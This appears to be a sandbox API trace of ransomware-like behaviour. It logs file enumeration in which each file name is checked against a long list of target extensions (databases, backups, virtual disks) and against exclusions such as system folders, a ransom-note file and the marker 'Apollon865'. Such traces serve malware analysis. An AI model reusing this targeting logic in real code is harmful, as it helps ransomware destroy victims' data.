	[0077.838] lstrcmpiW (lpString1="20.EXE", lpString2="dacpac") returned -1
	[0077.838] lstrlenW (lpString="dad") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1
	[0077.838] lstrlenW (lpString="dadiagrams") returned 10
	[0077.838] lstrlenW (lpString="daschema") returned 8
	[0077.838] lstrlenW (lpString="db-journal") returned 10
	[0077.838] lstrlenW (lpString="db-shm") returned 6
	[0077.838] lstrcmpiW (lpString1="20.EXE", lpString2="db-shm") returned -1
	[0077.838] lstrlenW (lpString="db-wal") returned 6
	[0077.838] lstrcmpiW (lpString1="20.EXE", lpString2="db-wal") returned -1
	[0077.838] lstrlenW (lpString="dbc") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1
	[0077.838] lstrlenW (lpString="dbs") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1
	[0077.838] lstrlenW (lpString="dbt") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1
	[0077.838] lstrlenW (lpString="dbv") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1
	[0077.838] lstrlenW (lpString="dbx") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1
	[0077.838] lstrlenW (lpString="dcb") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1
	[0077.838] lstrlenW (lpString="dct") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1
	[0077.838] lstrlenW (lpString="dcx") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1
	[0077.838] lstrlenW (lpString="ddl") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1
	[0077.838] lstrlenW (lpString="dlis") returned 4
	[0077.838] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1
	[0077.838] lstrlenW (lpString="dp1") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1
	[0077.838] lstrlenW (lpString="dqy") returned 3
	[0077.838] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1
	[0077.838] lstrlenW (lpString="dsk") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1
	[0077.839] lstrlenW (lpString="dsn") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1
	[0077.839] lstrlenW (lpString="dtsx") returned 4
	[0077.839] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1
	[0077.839] lstrlenW (lpString="dxl") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1
	[0077.839] lstrlenW (lpString="eco") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1
	[0077.839] lstrlenW (lpString="ecx") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1
	[0077.839] lstrlenW (lpString="edb") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1
	[0077.839] lstrlenW (lpString="epim") returned 4
	[0077.839] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1
	[0077.839] lstrlenW (lpString="fcd") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1
	[0077.839] lstrlenW (lpString="fdb") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1
	[0077.839] lstrlenW (lpString="fic") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1
	[0077.839] lstrlenW (lpString="flexolibrary") returned 12
	[0077.839] lstrlenW (lpString="fm5") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1
	[0077.839] lstrlenW (lpString="fmp") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1
	[0077.839] lstrlenW (lpString="fmp12") returned 5
	[0077.839] lstrcmpiW (lpString1="0.EXE", lpString2="fmp12") returned -1
	[0077.839] lstrlenW (lpString="fmpsl") returned 5
	[0077.839] lstrcmpiW (lpString1="0.EXE", lpString2="fmpsl") returned -1
	[0077.839] lstrlenW (lpString="fol") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1
	[0077.839] lstrlenW (lpString="fp3") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1
	[0077.839] lstrlenW (lpString="fp4") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1
	[0077.839] lstrlenW (lpString="fp5") returned 3
	[0077.839] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1
	[0077.839] lstrlenW (lpString="fp7") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1
	[0077.840] lstrlenW (lpString="fpt") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1
	[0077.840] lstrlenW (lpString="frm") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1
	[0077.840] lstrlenW (lpString="gdb") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1
	[0077.840] lstrlenW (lpString="gdb") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1
	[0077.840] lstrlenW (lpString="grdb") returned 4
	[0077.840] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1
	[0077.840] lstrlenW (lpString="gwi") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1
	[0077.840] lstrlenW (lpString="hdb") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1
	[0077.840] lstrlenW (lpString="his") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1
	[0077.840] lstrlenW (lpString="ib") returned 2
	[0077.840] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1
	[0077.840] lstrlenW (lpString="idb") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1
	[0077.840] lstrlenW (lpString="ihx") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1
	[0077.840] lstrlenW (lpString="itdb") returned 4
	[0077.840] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1
	[0077.840] lstrlenW (lpString="itw") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1
	[0077.840] lstrlenW (lpString="jet") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1
	[0077.840] lstrlenW (lpString="jtx") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1
	[0077.840] lstrlenW (lpString="kdb") returned 3
	[0077.840] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1
	[0077.840] lstrlenW (lpString="kexi") returned 4
	[0077.840] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1
	[0077.840] lstrlenW (lpString="kexic") returned 5
	[0077.840] lstrcmpiW (lpString1="0.EXE", lpString2="kexic") returned -1
	[0077.840] lstrlenW (lpString="kexis") returned 5
	[0077.841] lstrcmpiW (lpString1="0.EXE", lpString2="kexis") returned -1
	[0077.841] lstrlenW (lpString="lgc") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1
	[0077.841] lstrlenW (lpString="lwx") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1
	[0077.841] lstrlenW (lpString="maf") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1
	[0077.841] lstrlenW (lpString="maq") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1
	[0077.841] lstrlenW (lpString="mar") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1
	[0077.841] lstrlenW (lpString="marshal") returned 7
	[0077.841] lstrcmpiW (lpString1="W20.EXE", lpString2="marshal") returned 1
	[0077.841] lstrlenW (lpString="mas") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1
	[0077.841] lstrlenW (lpString="mav") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1
	[0077.841] lstrlenW (lpString="maw") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1
	[0077.841] lstrlenW (lpString="mdbhtml") returned 7
	[0077.841] lstrcmpiW (lpString1="W20.EXE", lpString2="mdbhtml") returned 1
	[0077.841] lstrlenW (lpString="mdn") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1
	[0077.841] lstrlenW (lpString="mdt") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1
	[0077.841] lstrlenW (lpString="mfd") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1
	[0077.841] lstrlenW (lpString="mpd") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1
	[0077.841] lstrlenW (lpString="mrg") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1
	[0077.841] lstrlenW (lpString="mud") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1
	[0077.841] lstrlenW (lpString="mwb") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1
	[0077.841] lstrlenW (lpString="myd") returned 3
	[0077.841] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1
	[0077.842] lstrlenW (lpString="ndf") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1
	[0077.842] lstrlenW (lpString="nnt") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1
	[0077.842] lstrlenW (lpString="nrmlib") returned 6
	[0077.842] lstrcmpiW (lpString1="20.EXE", lpString2="nrmlib") returned -1
	[0077.842] lstrlenW (lpString="ns2") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1
	[0077.842] lstrlenW (lpString="ns3") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1
	[0077.842] lstrlenW (lpString="ns4") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1
	[0077.842] lstrlenW (lpString="nsf") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1
	[0077.842] lstrlenW (lpString="nv") returned 2
	[0077.842] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1
	[0077.842] lstrlenW (lpString="nv2") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1
	[0077.842] lstrlenW (lpString="nwdb") returned 4
	[0077.842] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1
	[0077.842] lstrlenW (lpString="nyf") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1
	[0077.842] lstrlenW (lpString="odb") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1
	[0077.842] lstrlenW (lpString="odb") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1
	[0077.842] lstrlenW (lpString="oqy") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1
	[0077.842] lstrlenW (lpString="ora") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1
	[0077.842] lstrlenW (lpString="orx") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1
	[0077.842] lstrlenW (lpString="owc") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1
	[0077.842] lstrlenW (lpString="p96") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1
	[0077.842] lstrlenW (lpString="p97") returned 3
	[0077.842] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1
	[0077.843] lstrlenW (lpString="pan") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1
	[0077.843] lstrlenW (lpString="pdb") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1
	[0077.843] lstrlenW (lpString="pdm") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1
	[0077.843] lstrlenW (lpString="pnz") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1
	[0077.843] lstrlenW (lpString="qry") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1
	[0077.843] lstrlenW (lpString="qvd") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1
	[0077.843] lstrlenW (lpString="rbf") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1
	[0077.843] lstrlenW (lpString="rctd") returned 4
	[0077.843] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1
	[0077.843] lstrlenW (lpString="rod") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1
	[0077.843] lstrlenW (lpString="rodx") returned 4
	[0077.843] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1
	[0077.843] lstrlenW (lpString="rpd") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1
	[0077.843] lstrlenW (lpString="rsd") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1
	[0077.843] lstrlenW (lpString="sas7bdat") returned 8
	[0077.843] lstrlenW (lpString="sbf") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1
	[0077.843] lstrlenW (lpString="scx") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1
	[0077.843] lstrlenW (lpString="sdb") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1
	[0077.843] lstrlenW (lpString="sdc") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1
	[0077.843] lstrlenW (lpString="sdf") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1
	[0077.843] lstrlenW (lpString="sis") returned 3
	[0077.843] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1
	[0077.844] lstrlenW (lpString="spq") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1
	[0077.844] lstrlenW (lpString="te") returned 2
	[0077.844] lstrcmpiW (lpString1="XE", lpString2="te") returned 1
	[0077.844] lstrlenW (lpString="teacher") returned 7
	[0077.844] lstrcmpiW (lpString1="W20.EXE", lpString2="teacher") returned 1
	[0077.844] lstrlenW (lpString="tmd") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1
	[0077.844] lstrlenW (lpString="tps") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1
	[0077.844] lstrlenW (lpString="trc") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1
	[0077.844] lstrlenW (lpString="trc") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1
	[0077.844] lstrlenW (lpString="trm") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1
	[0077.844] lstrlenW (lpString="udb") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1
	[0077.844] lstrlenW (lpString="udl") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1
	[0077.844] lstrlenW (lpString="usr") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1
	[0077.844] lstrlenW (lpString="v12") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1
	[0077.844] lstrlenW (lpString="vis") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1
	[0077.844] lstrlenW (lpString="vpd") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1
	[0077.844] lstrlenW (lpString="vvv") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1
	[0077.844] lstrlenW (lpString="wdb") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1
	[0077.844] lstrlenW (lpString="wmdb") returned 4
	[0077.844] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1
	[0077.844] lstrlenW (lpString="wrk") returned 3
	[0077.844] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1
	[0077.844] lstrlenW (lpString="xdb") returned 3
	[0077.888] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1
	[0077.888] lstrlenW (lpString="xld") returned 3
	[0077.889] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1
	[0077.889] lstrlenW (lpString="xmlff") returned 5
	[0077.889] lstrcmpiW (lpString1="0.EXE", lpString2="xmlff") returned -1
	[0077.889] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="Apollon865.txt.exe") returned 1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".") returned 1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="..") returned 1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="windows") returned -1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="bootmgr") returned 1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="temp") returned -1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="pagefile.sys") returned -1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="boot") returned 1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="ids.txt") returned -1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="ntuser.dat") returned -1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="perflogs") returned -1
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="MSBuild") returned -1
	[0077.889] lstrlenW (lpString="dwdcw20.dll") returned 11
	[0077.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71
	[0077.889] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="dwdcw20.dll" | out: lpString1="dwdcw20.dll") returned="dwdcw20.dll"
	[0077.889] lstrlenW (lpString="dwdcw20.dll") returned 11
	[0077.889] lstrlenW (lpString="Apollon865") returned 10
	[0077.889] lstrcmpiW (lpString1="wdcw20.dll", lpString2="Apollon865") returned 1
	[0077.889] lstrlenW (lpString=".dll") returned 4
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".dll") returned 1
	[0077.889] lstrlenW (lpString=".lnk") returned 4
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".lnk") returned 1
	[0077.889] lstrlenW (lpString=".ini") returned 4
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".ini") returned 1
	[0077.889] lstrlenW (lpString=".sys") returned 4
	[0077.889] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".sys") returned 1
	[0077.889] lstrlenW (lpString="dwdcw20.dll") returned 11
	[0077.889] lstrlenW (lpString="bak") returned 3
	[0077.889] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0077.889] lstrlenW (lpString="ba_") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0077.890] lstrlenW (lpString="dbb") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0077.890] lstrlenW (lpString="vmdk") returned 4
	[0077.890] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0077.890] lstrlenW (lpString="rar") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0077.890] lstrlenW (lpString="zip") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0077.890] lstrlenW (lpString="tgz") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0077.890] lstrlenW (lpString="vbox") returned 4
	[0077.890] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0077.890] lstrlenW (lpString="vdi") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0077.890] lstrlenW (lpString="vhd") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0077.890] lstrlenW (lpString="vhdx") returned 4
	[0077.890] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0077.890] lstrlenW (lpString="avhd") returned 4
	[0077.890] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0077.890] lstrlenW (lpString="db") returned 2
	[0077.890] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0077.890] lstrlenW (lpString="db2") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0077.890] lstrlenW (lpString="db3") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0077.890] lstrlenW (lpString="dbf") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0077.890] lstrlenW (lpString="mdf") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0077.890] lstrlenW (lpString="mdb") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0077.890] lstrlenW (lpString="sql") returned 3
	[0077.890] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0077.890] lstrlenW (lpString="sqlite") returned 6
	[0077.890] lstrcmpiW (lpString1="20.dll", lpString2="sqlite") returned -1
	[0077.891] lstrlenW (lpString="sqlite3") returned 7
	[0077.891] lstrcmpiW (lpString1="w20.dll", lpString2="sqlite3") returned 1
	[0077.891] lstrlenW (lpString="sqlitedb") returned 8
	[0077.891] lstrcmpiW (lpString1="cw20.dll", lpString2="sqlitedb") returned -1
	[0077.891] lstrlenW (lpString="xml") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0077.891] lstrlenW (lpString="$er") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0077.891] lstrlenW (lpString="4dd") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0077.891] lstrlenW (lpString="4dl") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0077.891] lstrlenW (lpString="^^^") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0077.891] lstrlenW (lpString="abs") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0077.891] lstrlenW (lpString="abx") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0077.891] lstrlenW (lpString="accdb") returned 5
	[0077.891] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1
	[0077.891] lstrlenW (lpString="accdc") returned 5
	[0077.891] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1
	[0077.891] lstrlenW (lpString="accde") returned 5
	[0077.891] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1
	[0077.891] lstrlenW (lpString="accdr") returned 5
	[0077.891] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1
	[0077.891] lstrlenW (lpString="accdt") returned 5
	[0077.891] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1
	[0077.891] lstrlenW (lpString="accdw") returned 5
	[0077.891] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1
	[0077.891] lstrlenW (lpString="accft") returned 5
	[0077.891] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1
	[0077.891] lstrlenW (lpString="adb") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0077.891] lstrlenW (lpString="adb") returned 3
	[0077.891] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0077.892] lstrlenW (lpString="ade") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0077.892] lstrlenW (lpString="adf") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0077.892] lstrlenW (lpString="adn") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0077.892] lstrlenW (lpString="adp") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0077.892] lstrlenW (lpString="alf") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0077.892] lstrlenW (lpString="ask") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0077.892] lstrlenW (lpString="btr") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0077.892] lstrlenW (lpString="cat") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0077.892] lstrlenW (lpString="cdb") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0077.892] lstrlenW (lpString="ckp") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0077.892] lstrlenW (lpString="cma") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0077.892] lstrlenW (lpString="cpd") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0077.892] lstrlenW (lpString="dacpac") returned 6
	[0077.892] lstrcmpiW (lpString1="20.dll", lpString2="dacpac") returned -1
	[0077.892] lstrlenW (lpString="dad") returned 3
	[0077.892] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0077.892] lstrlenW (lpString="dadiagrams") returned 10
	[0077.892] lstrcmpiW (lpString1="wdcw20.dll", lpString2="dadiagrams") returned 1
	[0077.892] lstrlenW (lpString="daschema") returned 8
	[0077.892] lstrcmpiW (lpString1="cw20.dll", lpString2="daschema") returned -1
	[0077.892] lstrlenW (lpString="db-journal") returned 10
	[0077.892] lstrcmpiW (lpString1="wdcw20.dll", lpString2="db-journal") returned 1
	[0077.892] lstrlenW (lpString="db-shm") returned 6
	[0077.892] lstrcmpiW (lpString1="20.dll", lpString2="db-shm") returned -1
	[0077.892] lstrlenW (lpString="db-wal") returned 6
	[0077.892] lstrcmpiW (lpString1="20.dll", lpString2="db-wal") returned -1
	[0077.893] lstrlenW (lpString="dbc") returned 3
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0077.893] lstrlenW (lpString="dbs") returned 3
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0077.893] lstrlenW (lpString="dbt") returned 3
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0077.893] lstrlenW (lpString="dbv") returned 3
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0077.893] lstrlenW (lpString="dbx") returned 3
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0077.893] lstrlenW (lpString="dcb") returned 3
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0077.893] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1
	[0077.893] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0077.894] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0077.894] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="dwtrig20.exe" | out: lpString1="dwtrig20.exe") returned="dwtrig20.exe"
	[0077.894] lstrlenW (lpString="dwtrig20.exe") returned 12
	[0077.894] lstrlenW (lpString="Apollon865") returned 10
	[0077.894] lstrcmpiW (lpString1="trig20.exe", lpString2="Apollon865") returned 1
	[0077.894] lstrlenW (lpString=".dll") returned 4
	[0077.894] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".dll") returned 1
	[0077.894] lstrlenW (lpString=".lnk") returned 4
	[0077.894] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".lnk") returned 1
	[0077.894] lstrlenW (lpString=".ini") returned 4
